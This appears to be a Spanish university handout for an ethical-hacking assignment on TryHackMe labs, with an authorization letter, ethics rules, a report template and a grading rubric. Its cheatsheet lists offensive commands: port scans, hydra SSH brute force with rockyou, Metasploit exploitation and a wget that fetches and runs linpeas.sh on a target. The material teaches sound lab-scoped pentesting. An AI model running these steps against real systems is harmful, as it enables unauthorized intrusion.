
Guía Práctica + Plantilla de Informe

Actividad A08 — Hacking Ético

Cliente: INSECUR S.A. — Laboratorio: TryHackMe

Seguridad Aplicada a Sistemas de Información
 Licenciatura en Sistemas de Información — Facultad de Informática y Diseño
 Docente: Ing.
 Rodrigo Atilio Elgueta
 Ciclo Académico Vigente

Índice

1. Contexto de la Contratación	3
2. Modelo de Trabajo: Núcleo + Sala de Elección	3
2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)	3
2.2. Nivel 2 — Sala de elección (una por estudiante)	3
3. Configuración del Entorno	4
3.1. Requisitos previos	4
3.2. Conexión a la VPN de TryHackMe	4
3.3. Organización del trabajo en GitHub	5
4. Mecanismos de Control de Autenticidad	5
5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME	6
5.1. Flujo profesional del pentesting	6
5.2. Comandos base por fase (cheatsheet)	6
5.3. Checklist de resolución	7
6. PARTE II: PLANTILLA DE INFORME (rellenable)	7
6.1. Datos generales	8
6.2. Pre-pentesting	8
6.3. Durante: Hallazgos por fase	9
6.4. Resumen ejecutivo de hallazgos	10
6.5. Post-pentesting: Recomendaciones	10
7. PARTE III: PROTOCOLO DE CONTINGENCIA	10
8. Anexos	11

9. Rúbrica de Evaluación (A08)	12
10.Fuentes y bibliografía	12

1. Contexto de la Contratación

Carta de Autorización — INSECUR S.A.

Cliente: INSECUR S.A.

Contratista: Estudiante de Seguridad Aplicada a Sistemas de Información (FID-UCH).

Objeto del contrato: La compañía INSECUR S.A., preocupada por los niveles de seguridad de sus sistemas, contrata sus servicios profesionales de **Hacking Ético** para elaborar un plan de seguridad y contingencia.

Alcance autorizado: Únicamente los entornos de laboratorio de la plataforma **TryHackMe** asignados en esta guía. Cualquier acción fuera de este alcance queda estrictamente prohibida y constituye un delito conforme la legislación vigente.

Entregable: Informe profesional de pentesting, incluyendo documentación previa, durante y posterior a la intervención, más un protocolo de contingencia para garantizar la continuidad de negocio.

Modalidad: Individual.

Modalidad: Individual.

Repositorio de entrega: https://github.com/UCHSeguridad2026/TP_THM.git (crear un branch propio con el apellido-nombre).

Ética y Legalidad

Esta actividad se desarrolla en **entornos controlados (sandbox)**. Queda absolutamente prohibido aplicar las técnicas aprendidas contra sistemas reales sin autorización escrita. El incumplimiento será considerado falta ética grave y podrá derivar en sanciones académicas y legales.

2. Modelo de Trabajo: Núcleo + Sala de Elección

La actividad se estructura en dos niveles que garantizan una base común y, al mismo tiempo, diversidad en los casos trabajados.

2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)

Núcleo Obligatorio

1. Pentesting Fundamentals

<https://tryhackme.com/room/pentestingfundamentals>

Metodología y fases del pentesting profesional.

2. Basic Pentesting

<https://tryhackme.com/room/basicpentestingjt>

Aplicación práctica completa: enumeración, explotación y escalada de privilegios.

2.2. Nivel 2 — Sala de elección (una por estudiante)

Cada estudiante elige **UNA** sala adicional de la siguiente lista curada de salas **gratuitas**. La elección debe quedar registrada en el informe (Sección 6.2).

Sala	Dificultad	Enfoque	Qué aporta
Vulniversity	Inicial	Web + explotación	Ideal como primera máquina
Kenobi	Inicial-Media	Samba + Linux PE	Enumeración y escalada
RootMe	Media	Web + PE	Multi-vulnerabilidad
OWASP Top 10	Media	Vulnerabilidades web	Complementa Juice Shop
Blue	Media	Windows PE (EternalBlue)	Entorno Windows
Overpass	Media	Web + Linux PE	Lógica de negocio
Nmap	Herramienta	Escaneo	Dominio de Nmap

¿Cómo elegir?

- Si es tu primera vez con TryHackMe: **Vulniversity**.
- Si querés enfocarte en Windows: **Blue**.
- Si te interesa el hacking web: **OWASP Top 10**.
- Si querés desafío Linux completo: **Kenobi** o **RootMe**.

3. Configuración del Entorno

3.1. Requisitos previos

1. Cuenta gratuita en <https://tryhackme.com> (username único del estudiante).
2. Kali Linux (VM, Live USB o WSL2) con las herramientas básicas: **nmap**, **gobuster**, **hydra**, **burpsuite**, **metasploit**, **wireshark**, **netcat**.
3. Cliente OpenVPN instalado (para la VPN de THM).
4. Cuenta de GitHub con acceso al repositorio de la cátedra.

3.2. Conexión a la VPN de TryHackMe

```

1 # 1. Descargar el archivo de configuracion desde THM (Account > Access)
2 # 2. Conectarse a la VPN
3 sudo openvpn --config ~/Downloads/<tu-usuario>.ovpn

```

Verificación de conectividad

Una vez conectado, probá con **ping** a la IP de la máquina objetivo que te asigna THM. Si no responde, revisá el estado de la VPN y la red de la facultad (algunas instituciones bloquean el puerto 1194/UDP).

3.3. Organización del trabajo en GitHub

```
1 # Clonar el repositorio de la catedra
2 git clone https://github.com/UCHSeguridad2026/TP_THM.git
3 cd TP_THM
4
5 # Crear tu branch personal (usar tu ApellidoNombre)
6 git checkout -b apellido-nombre
7
8 # Crear la estructura de carpetas
9 mkdir -p evidencias/{reconocimiento,escaneo,explotacion,post}
10 mkdir -p bitacora
11 mkdir -p reportes
```

4. Mecanismos de Control de Autenticidad

Para garantizar la autoría del trabajo, debés cumplir con los siguientes mecanismos:

Username único de TryHackMe

En la portada del informe debe figurar tu **username público de THM**. Este username es único y se ve en todas las capturas de la plataforma, por lo que vincula inequívocamente las evidencias con vos.

Bitácora de comandos

Exportá únicamente los comandos relevantes de tu sesión de Kali al finalizar cada clase. Revisá el archivo y eliminá contraseñas, tokens, claves privadas y cualquier dato personal antes de subirlo:

```
1 history | sed -E 's/(password|passwd|token|secret|api[_-]?key)[^ ]*/\1=[
  REDACTED]/Ig' > bitacora/clase_09_$(date +%Y%m%d).txt
```

Este archivo forma parte de los anexos del informe y demuestra el proceso real. La bitácora no reemplaza la revisión manual de secretos.

Evidencias con marca de identidad

Cada captura de pantalla crítica debe incluir visible:

- El username de THM en la interfaz de la plataforma.
- La fecha y hora del sistema (visible en la barra de Kali).
- La IP de la máquina objetivo.

Hash de las flags

En lugar de publicar las flags completas (que circulan en writeups), incluí en el informe el **hash SHA-256** de cada flag obtenida. Así el docente puede verificar que la tenés sin que quede expuesta.

```
1 echo -n "thm{flag_obtenida}" | sha256sum
```

Commits firmados

Usá commits con tu identidad institucional, configurada solo en este repositorio:

```
1 git config user.name "Tu Nombre Completo"
2 git config user.email "tu.email@institucion.edu"
```

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME

5.1. Flujo profesional del pentesting

Todo pentesting sigue las fases del marco metodológico. Cada fase tiene herramientas típicas y entregables:

Fase	Acciones típicas	Herramientas
Pre-engagement	Definir alcance, reglas de enfrentamiento, autorización	Plantilla, firma de ROE
Reconocimiento	OSINT, enumeración pasiva, descubrimiento de activos	theHarvester, whois, DNSdumper
Escaneo	Descubrimiento de puertos, servicios y versiones	Nmap, Nikto, Gobuster
Enumeración	Análisis detallado de cada servicio encontrado	Netcat, enum4linux, SNMPwalk
Explotación	Aprovechar vulnerabilidades para obtener acceso	Metasploit, Searchsploit, Burp Suite
Post-explotación	Escalada de privilegios, movimiento lateral, persistencia	LinPEAS, WinPEAS, mimikatz
Reporte	Documentación, remediación, protocolo de contingencia	Plantilla de informe

5.2. Comandos base por fase (cheatsheet)

```
1 # RECONOCIMIENTO Y ESCANEO
2 nmap -sC -sV -oN bitacora/nmap_inicial.txt <IP_OBJETIVO>
3 nmap -p- --min-rate 5000 -oN bitacora/nmap_puertos.txt <IP_OBJETIVO>
4
5 # ENUMERACION WEB
6 gobuster dir -u http://<IP_OBJETIVO> -w /usr/share/wordlists/dirb/common.txt \
7   -o bitacora/gobuster.txt
8 nikto -h http://<IP_OBJETIVO> -o bitacora/nikto.txt
9
10 # ANALISIS DE TRAFICO
11 wireshark # GUI
12 tcpdump -i tun0 -w bitacora/captura_$(date +%H%M).pcap
13
14 # AUTENTICACION (solo si la sala lo autoriza y con limites)
15 # Preferi validar primero usuarios y politicas; documenta el alcance.
```

```
16 hydra -l usuario -P /usr/share/wordlists/rockyou.txt <IP> ssh -t 4 -f
17
18 # EXPLOTACION CON METASPLOIT (solo contra la IP asignada por THM)
19 msfconsole
20 search <servicio>
21 use <exploit>
22 set RHOSTS <IP>
23 set LHOST tun0
24 exploit
25
26 # POST-EXPLOTACION LINUX (solo si la sala lo requiere)
27 wget http://<tu-IP>:8000/linpeas.sh
28 chmod +x linpeas.sh && ./linpeas.sh > bitacora/linpeas.txt
```

5.3. Checklist de resolución

Para cada máquina, recorre en este orden:

1. **Ping** a la IP objetivo (confirmar que está viva).
2. **Nmap** completo (todos los puertos + detección de servicios y versiones).
3. **Nikto** + **Gobuster** si hay web.
4. Anotar en la bitácora cada puerto, servicio y versión.
5. Buscar vulnerabilidades públicas para cada versión detectada (**searchsploit**, Google, CVE Details).
6. Probar exploits en orden de criticidad.
7. Al obtener shell, ejecutar **whoami**, **uname -a**, **sudo -l**.
8. Escalar privilegios (LinPEAS / WinPEAS).
9. Documentar cada hallazgo con captura + comando + evidencia.

6. PARTE II: PLANTILLA DE INFORME (rellenable)

*Completá cada campo. Las celdas vacías se rellenan con texto o se dejan en blanco si no aplica. El informe completo se entrega como **reportes/informe_pentesting.pdf** en tu branch.*

6.1. Datos generales

Campo	Valor
Cliente	INSECUR S.A.
Contratista (alumno/a)	
DNI	
Username TryHackMe	
Email institucional	
Sala de elección (Nivel 2)	
Branch en GitHub	apellido-nombre
Fecha de inicio	
Fecha de cierre	

6.2. Pre-pentesting

Alcance del trabajo

Describí qué sistemas están dentro del alcance y cuáles quedan excluidos.

Reglas de Enfrentamiento (ROE)

Indicá las restricciones técnicas acordadas: horarios, técnicas prohibidas, límites de tráfico, notificación ante incidentes.

Autorización

Declará que contás con autorización expresa de la cátedra para trabajar sobre los entornos de TryHackMe indicados.

Metodología utilizada

Indicá qué marco seguiste (PTES, OSSTMM, OWASP Testing Guide, NIST SP 800-115, etc.) y justificá la elección.

6.3. Durante: Hallazgos por fase

Para cada hallazgo relevante, completá una fila en la siguiente tabla (repetí la tabla si necesitás más filas).

Campo	Valor
ID del hallazgo	H-01
Fase	☐ Reconocimiento ☐ Escaneo ☐ Explotación ☐ Post-explotación
Descripción	
Componente afectado	
Categoría (OWASP / CWE)	
CVE (si aplica)	
CVSS estimado	☐ Bajo ☐ Medio ☐ Alto ☐ Crítico
Evidencia (captura / comando)	
Herramienta utilizada	
Impacto en la Tríada CIA	☐ Confidencialidad ☐ Integridad ☐ Disponibilidad
Salvaguarda propuesta	
Riesgo residual tras aplicar	☐ Bajo ☐ Medio ☐ Alto

6.4. Resumen ejecutivo de hallazgos

Severidad	Cantidad	ID de hallazgos
Crítico		
Alto		
Medio		
Bajo		
Total		

6.5. Post-pentesting: Recomendaciones

Recomendaciones técnicas (parches y configuraciones)

Listá las acciones concretas de remediación, priorizadas por criticidad.

Recomendaciones administrativas (políticas y procesos)

Políticas, capacitaciones, revisiones periódicas, etc.

7. PARTE III: PROTOCOLO DE CONTINGENCIA

Escenario de falla

Describí qué procedimiento realizado podría fallar o causar una interrupción del servicio en producción.

Impacto sobre la continuidad del negocio

¿Qué procesos de INSECUR S.A. se verían afectados? ¿Por cuánto tiempo?

Plan de respuesta

1. **Activación:** ¿Cómo se detecta la falla?
2. **Contención:** ¿Qué se hace en los primeros 15 minutos?
3. **Recuperación:** ¿Cómo se restaura el servicio (backup, servidor espejo, rollback)?
4. **Comunicación:** ¿A quiénes se notifica (dirección, clientes, autoridades)?
5. **Post-mortem:** ¿Cómo se documenta y se aprende del incidente?

RTO y RPO estimados

RTO (Recovery Time Objective):

RPO (Recovery Point Objective):

8. Anexos**Anexo A — Bitácora de comandos**

Adjuntar los archivos bitacora/clase_XX_*.txt en el branch.

Anexo B — Capturas de pantalla

Carpeta evidencias/ con subcarpetas por fase. Cada archivo nombrado como: <fase>_<hallazgoID>.png.

Anexo C — Hashes de las flags obtenidas

```

1 # Formato: flag_id  sha256_hash
2 H-01  <pegar hash>
3 H-02  <pegar hash>

```

Anexo D — Declaración ética firmada

Declaro que todas las actividades se realizaron dentro del alcance autorizado, en entornos controlados y con fines exclusivamente académicos.

Firma del estudiante

Fecha

9. Rúbrica de Evaluación (A08)

Criterio	Peso	Descripción
A. Recopilación de información	10 %	Uso de fuentes confiables y citadas correctamente.
B. Elaboración de documentos	25 %	Cumplimiento del formato de esta plantilla.
C. Elaboración de presentaciones	10 %	Argumentación sólida del caso y sus soluciones.
D. Integración de soluciones	25 %	Parches y medidas integradas sobresalientemente.
E. Selección de herramientas	20 %	Herramientas adecuadas y justificadas.
F. Consciencia de buenas prácticas	10 %	Evidencia permanente de buenas prácticas y ética.

Checklist final antes del push

- ☐ Informe en `reportes/informe_pentesting.pdf`.
- ☐ Evidencias en `evidencias/` (por fase).
- ☐ Bitácoras en `bitacora/`.
- ☐ Branch nombrado `apellido-nombre`.
- ☐ Commits con tu identidad real.
- ☐ Pull Request hacia `main` del repo de la cátedra.

10. Fuentes y bibliografía

- TryHackMe. *Pentesting Fundamentals*: [sala oficial](#)
- TryHackMe. *Basic Pentesting*: [sala oficial](#)
- OWASP Foundation. *Web Security Testing Guide (WSTG)*: [sitio oficial](#)
- NIST (2008). *Technical Guide to Information Security Testing and Assessment (SP 800-115)*.
- Chicano Tejada, E. (2023). *Auditoría de seguridad informática. IFCT0109* (2.^a ed.). IC Editorial — eLibro.
- Evans, L. (2019). *Ethical Hacking: The Ultimate Guide to Using Penetration Testing....* Amazon Digital Services LLC — KDP.
- White, A. & Clark, B. (2017). *BTFM: Blue Team Field Manual*. CreateSpace Independent Publishing Platform.